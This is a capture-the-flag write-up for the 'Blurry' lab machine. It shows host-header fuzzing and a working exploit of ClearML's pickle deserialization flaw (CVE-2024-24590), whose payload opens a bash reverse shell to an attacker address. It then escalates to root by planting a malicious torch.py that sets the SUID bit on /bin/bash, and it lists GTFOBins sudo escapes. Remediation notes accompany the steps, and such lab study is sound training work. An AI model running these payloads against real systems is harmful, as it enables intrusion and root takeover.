Blurry
Summary
Recon of blurry ($TARGET) found only SSH and a bare nginx redirect on port 80. Host-header fuzzing uncovered four hidden virtual hosts, one of which served a ClearML machine-learning platform (v1.13.1) with open self-registration.
Because ClearML 1.13.1 is vulnerable to CVE-2024-24590 — unsafe pickle deserialization in Artifact.get() — a self-registered account was used to upload a malicious pickled artifact into a project whose scheduled task automatically calls get() on tagged artifacts, giving code execution as the service account jippity and the user flag. On the host, an overly broad NOPASSWD sudo rule for a root-run model-evaluation wrapper trusted files under /models for both model weights and Python module imports; planting a malicious torch.py in that directory let the next sudo invocation import my code as root, which set the SUID bit on /bin/bash and produced full root access and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 4
Confirms only 22/tcp (ssh) and 80/tcp (nginx 1.18.0) are open.
$ nmap -sV -p- $TARGETShows the 301 redirect to http://app.blurry.htb/.
$ curl -sSI http://$TARGET/Required for name resolution — the app breaks silently if this is added after tool init.
$ printf "$TARGET blurry.htb app.blurry.htb api.blurry.htb files.blurry.htb chat.blurry.htb\n" | sudo tee -a /etc/hostsFilters out the 169-byte default vhost response to surface real subdomains.
$ ffuf -H 'Host: FUZZ.blurry.htb' -u http://$TARGET -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 169Exact commands 2
Reveals ClearML server version 1.13.1-426.
$ curl -sS http://app.blurry.htb/version.jsonConfirms the ClearML API endpoint, unauthenticated.
$ curl -sS http://api.blurry.htb/debug.pingExact commands 2
No email verification or admin approval is enforced.
$ Browse to http://app.blurry.htb, click "Create new account", and register any username/password.Paste the API host/web host/files host URLs and the credentials generated under Settings > Workspace.
$ clearml-initFixDisable open self-registration on the ClearML serverMedium
Exact commands 5
Must pin this exact client version — newer clients change the upload path and the vulnerable get() call is never reached.
$ pip install clearml==1.13.1Reverse-shell listener on my box ($ATTACKER_IP); the callback fires on the ~2-minute scheduler tick, not immediately.
$ nc -lvnp 4444Project_name must be exactly 'Black Swan' and the tag exactly 'review' to match the scheduled task's filter; pass the object itself to artifact_object, not a path to a pre-pickled file.
$ cat > exploit.py <<EOF
import os
from clearml import Task
class RunCommand:
def __reduce__(self):
return (os.system, ('bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1"',))
task = Task.init(project_name='Black Swan', task_name='pwn', tags=['review'], output_uri=True)
task.upload_artifact(name='pwn', artifact_object=RunCommand(), retries=2, wait_on_upload=True, extension_name='.pkl')
EOFUploads the malicious artifact and waits for the scheduler to deserialize it.
$ python3 exploit.pyRun from the resulting shell; value replaced here as <user.txt>.
$ cat /home/jippity/user.txtFixUpgrade ClearML server and pin clients to a patched releaseCritical
Exact commands 3
Non-interactive sudo listing.
$ sudo -n -lConfirms NOPASSWD rule for /usr/bin/evaluate_model /models/*.pth.
$ sudo -l
(root) NOPASSWD: /usr/bin/evaluate_model /models/*.pthSUID sweep; nothing else usable was found — the sudo rule was the path forward.
$ find / -perm -4000 -type f 2>/dev/nullimport torch, running arbitrary my code as root before the script's own (and separately broken) malicious-pickle check ever executes. This was used to set the setuid bit on /bin/bash, yielding a root shell and the root flag.Exact commands 5
Plants a fake 'torch' module in the directory evaluate_model.py imports from.
$ echo 'import os; os.system("chmod +s /bin/bash")' > /models/torch.pyAny existing .pth works — the sudo rule's glob is literal, so the path must be exactly /models/*.pth.
$ sudo /usr/bin/evaluate_model /models/demo_model.pthSpawns a shell with the newly-set setuid bit honored.
$ /bin/bash -pConfirms euid=0(root).
$ /bin/bash -p -c '/usr/bin/id'Run as root; value replaced here as <root.txt>.
$ cat /root/root.txtFixRestrict and harden the evaluate_model sudo ruleCritical
Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.